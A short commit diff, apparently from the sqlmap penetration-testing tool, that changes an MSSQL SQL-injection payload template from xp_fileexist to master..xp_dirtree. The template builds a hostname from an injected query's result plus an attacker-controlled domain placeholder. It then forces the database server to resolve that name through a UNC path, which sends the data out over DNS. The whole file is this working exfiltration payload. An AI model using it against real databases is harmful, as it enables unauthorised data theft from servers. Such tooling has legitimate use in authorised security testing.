Prefer xp_dirtree

This commit is contained in:
Bernardo Damele 2012-04-04 13:29:25 +00:00
parent 098c7c06dd
commit c051d7fecc

View File

@ -1,4 +1,4 @@
DECLARE @host varchar(1024); DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%'; SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%';
EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"'); EXEC('master..xp_dirtree "\\' + @host + '\%PREFIX%%SUFFIX%"')
# or EXEC('xp_dirtree "\\' + @host + '."'); # or EXEC('master..xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"')